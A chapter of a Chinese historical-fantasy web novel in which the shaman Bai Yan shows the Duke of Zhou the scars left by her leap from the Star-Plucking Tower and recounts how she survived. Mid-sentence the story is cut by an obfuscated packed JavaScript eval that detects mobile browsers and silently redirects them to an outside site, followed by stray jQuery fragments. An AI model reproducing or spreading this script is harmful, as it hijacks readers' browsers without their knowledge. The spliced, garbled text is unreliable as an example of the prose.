月上中天,议事才刚结束。
椒带着巫祝送那数十名族尹走出宫室,见他们三三两两结伴离去,松了口气,“他们总算走了。”
随后她又折返回去,拉着白岄,“大巫和我一道回去吗?”
白岄仍在执笔记录,“太史和内史都不在,我还要将这些文书略作整理。”
“唔……”椒皱起眉,小声道,“可是从午后议事到现在,连饭都没吃……而且为了今日的事,已忙了许久,还是早些回去休息吧?”
“将这些写完就回去,葑会带着族人来接我的,不用担心。”白岄这才抬眼看向她,“明日还有许多事务,你先回去吧。”
司马起身活动了一下僵硬的肩背,一边揉着眉心,“有几名族尹此前从未见过,是被巫箴吓到了吗?今日倒十分殷勤。”
那遮天蔽日的大群鸱鸮,都生着硬喙与利爪,若在巫祝的诱导下扑啄人们,也着实令人招架不住。
不要说那些族尹,连他见了白岄也是有些怕的。
“只盼他们能消停几日。”康叔封满怀忧虑,凑在周公旦身旁,“兄长已被他们缠着数十日,坐卧难安,寝食不宁,再这样下去怎么行呢?”
周公旦摇头,“先回去吧,他们还没有得到想要的结果,不会就此放弃。”
微子启带着小臣们离开了殷都,没有了来来往往的侍从与小臣,偌大的宫室异常空旷、寂静。
誊抄好议事的文书,白岄吹灭灯火,执着简牍走入廊中。
随从们都不在,有一点火光孤零零地燃在远处的高台上,晕着浅浅一圈光芒,映出一个人影。
白岄走上前,“在想那些族尹的事吗?族邑中的民众离开了大半,他们没有倚仗,也会很快妥协的。”
“还不回去?”周公旦侧头看向她,她搅乱了那些族尹的计划,方才议事时被他们纠缠不休,虽没在言语上吃什么亏,此时看起来也稍显憔悴。
“族人们又要说我乱来,倒有些不想回去。”白岄望向夜空,夜行的蝙蝠与飞鸟不时从天幕上掠过,“太史不放心巫离她们独自引着殷民前去洛邑,带着部分兵卒一道去了。内史又不放心太史应对殷民,带着葞和几名巫祝前去相送,希望他们早日返回。”
毕竟是顽固又坚定地信仰着神明的民众们,即便有神鸟在前引路,也难保途中不出现变故。
她遥遥指着西侧的天空,“那些鸮鸟是翛翛在洛邑喂熟的,陶氏族人会在沿途诱食,确保它们能引着人们顺利到达洛邑。”
周公旦顺着她所指的方向望去,瞥见她的手背与手腕上满是凌乱的血痕,血迹已经干涸,但还未结痂,被衣袖边缘遮盖的地方,似乎还有几道模糊的旧伤痕。
“你的手……怎么了?”
白岄摇头,“没什么,只是被鸮鸟抓伤了,毕竟是凶猛的禽类,与我并不相熟。方才与族尹们议事,还没来得及处理。”
“所以你根本控制不住那些鸟,你果然是乱来。”周公旦捉住了她的手腕,将她祭服宽大的衣袖往上卷。
她在民众之前面不改色地将那些猛禽托在手中,说得言之凿凿,还以为她有多大的能耐,原来也不过是虚张声势。
白岄皱起眉,想将手抽回,没能挣脱,不满道:“你做什么动手动脚的?”
衣袖卷起,露出她手臂上一道斑驳的瘢痕。
应是许久之前的旧伤了,瘢痕已经泛白,边缘错杂参差,仿佛是衣物上缝过的细密针脚。
“这是怎么回事?应当不是被鸱鸮所伤。”
“很难看吧?”白岄拂下衣袖,遮住了那道瘢痕,低头望着宗庙与享堂,轻声叹息,“神明最喜欢没有杂色的牛羊,巫祝也是如此,应当永远完美无缺,没有一丝瑕疵。请不要告诉旁人。”
这是不能被人看到的,否则她还要怎么继续欺瞒世人、做神明的爱女呢?
“什么时候的事?你从前……”
从前应是没有的,她是神明面前受宠的主祭,确实如她所说的那样,昳丽灵秀,毫无瑕秽。
是在她到丰镐之后吗……?所以她即便在炎夏时节也穿得严严实实,原来不是为了作为大巫的矜傲端庄,而是为遮蔽这道狰狞的旧伤。
“我从摘星台上跳下来的时候,即便算准了有大风从下方吹来,仍然受了很重的伤。”白岄说得异常轻松,“最麻烦的就是右臂折断,虽然婆婆及时为我接续缝合,可终究没法恢复如初。”
她动了动手腕,看着浸在月光下的青白色掌心,“从前做主祭时要抡动大钺斩下头颅,如今只能拿起小钺,或是换左手持钺。”
折断过的手臂毕竟不似从前,即便还能抡动大钺,也很难精准地控制角度,找准骨节之间的间隙了。
她垂下手,扶着高台前的栏杆,俯瞰着整座城邑,轻声道:“还好从此往后,也不必再做主祭了。”
周公旦看着她摇头,“巫箴,你的胆子实在是太大了。”
摘星台究竟有多高?从前只存在于他们的想象之中。
直到那日进入朝歌城后,他们才真正意识到,商人为何对白岄如此敬畏、仰慕,深信不疑,因为只要仰望过那高台的人都会明白——
无论如何——除非像飞鸟一样生出翅膀,人应该是不可能跃下那种高台还毫发无损的。
当然,白岄也并非毫发无损,但至少她看起来仍如从前一般,能走能动,这在世人眼中已是不得了的奇迹了。
而且毕竟仅仅是手臂啊,若是常人跌下那种高台,恐怕已是四分五裂。
她能在那时候恰好被风卷起,这样的巧合,说到底,又何尝不是神明所眷呢?
拼上性命去求神明的眷目,那是多么不可理喻的疯狂举动啊。
巫祝总是如此,就像那些鸟儿一样,远远地停歇在高处观望人们,无法亲近,更无法理解。
“不做出些惊天动地的举动,怎么吸引
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333452|183352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神明和世人的目光呢?”白岄看着点亮在夜幕上的星星,“想要摘得星星的人,总是要做好粉身碎骨的准备的。”
她摘到了。
低头望去,脚下铺着无数人的累累尸骸。
“内史也为此指责过我,族人也是,但反正已经过去了,再去为当时的危险担忧、后怕都是无益。”白岄满不在乎地摇了摇头,“虽然拿不起大钺了,也可以继续进行其他的祭祀,这几年来,我在丰镐也并未因此耽误过什么事,周公就不必忧心了。”
“你在神事上一向完满,从无疏漏,我并不是担心这些。”周公旦顿了顿,她无法理解旁人忧心的原因,反复解释也无用,“伤得那么重,应当好好休养,那时为什么不到西土呢?我们等了很久,也没有白氏的消息传来。”
“胶鬲大夫只能送我们到那里,我那时确实也无法支撑到达西土。白氏能以针法与药酒令人陷入沉睡,在沉眠之中延续性命,何况那处洞窟阴冷,伤口不会那么快恶化。”
白岄语气平缓,像是在说旁人的故事。
“只要能拖延下来,天长日久,总会愈合的。起初我的状况并不好,因此直到一年之后婆婆才向西土传信。”
到底怎么从风中坠落的早已记不清了,胶鬲事先安排的随从将她救起,匆匆送至约定的地点。
她在离开朝歌的途中苏醒,所幸只是肢体受伤,婆婆已为她灌药、施针镇痛,为她清理断骨、缝合伤口,像是用针修补破损的衣物一般,将她一点一点修补起来。
之后是长久的沉睡,那处冰冷的洞窟保住了她的性命,可也留下了无法痊愈的旧伤。
“就像你们族邑中的那些病患……”
“是啊,和他们很像吧?只是靠着药物,也能活数年之久呢。”白岄伸手支着下颌,“不过我在半年之后就时常起来活动,重新练习祭祀的种种事务,刚到丰镐的时候,应当没有什么破绽吧?”
“没有。”周公旦闭上眼,那时鬻子早已过世,他们与白氏无法取得联络,屡屡怀疑白氏是否不愿合作。
终于寻到她时,也觉得那不过是巫祝们故弄玄虚,令人敬畏惧怕而已,并未深究过其中的缘由。
“不疼吗……?”
那些细细密密的针脚,光是看着就让人觉得痛苦难忍。
难怪胶鬲再度见到她的时候,又是惊喜,又是震动,甚至带着几分怀疑与敬畏。
商人说她跃下摘星台,回到了神明身边,又被祂们再度遣回人间——何尝不是如此呢?
“当然会疼,直到现在也没有好。”白岄想了一会儿,“应当是不会再好了,每到阴雨天就会发作。”
从那以后,她不喜欢冬天和雨雪天,也不喜欢寒冷的丰镐。
“那也是没办法的事,我必须要活下来,不然阿岘就要承担这一切。”白岄望着远处,月影西斜,群星更显得明亮,“我还是希望他能自由一点,飞到我们去不了的地方。”